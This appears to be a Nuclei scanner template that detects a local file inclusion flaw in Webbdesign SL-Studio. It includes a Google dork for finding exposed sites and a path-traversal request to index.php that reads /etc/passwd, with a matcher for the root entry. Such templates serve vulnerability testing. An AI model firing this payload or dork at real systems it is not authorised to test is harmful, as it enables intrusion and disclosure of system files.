id: sl-studio-lfi

info:
  name: Webbdesign SL-Studio - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Webbdesign SL-Studio is vulnerable to local file inclusion.
  reference:
    - https://cxsecurity.com/issue/WLB-2018110187
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
    google-query: 'inurl:index.php?page= intext:Webbdesign: SL-Studio.'
  tags: slstudio,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?page=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a39448c0f6f78f8daf18a77fe8e97d1fb0698a631e03c07adc3a2f4475da2f9c02204da0a386ac0b129f060ac35022de45047dfadda5c1062779cc1ccf171c1ae42e:922c64590222798bb761d5b6d8e72950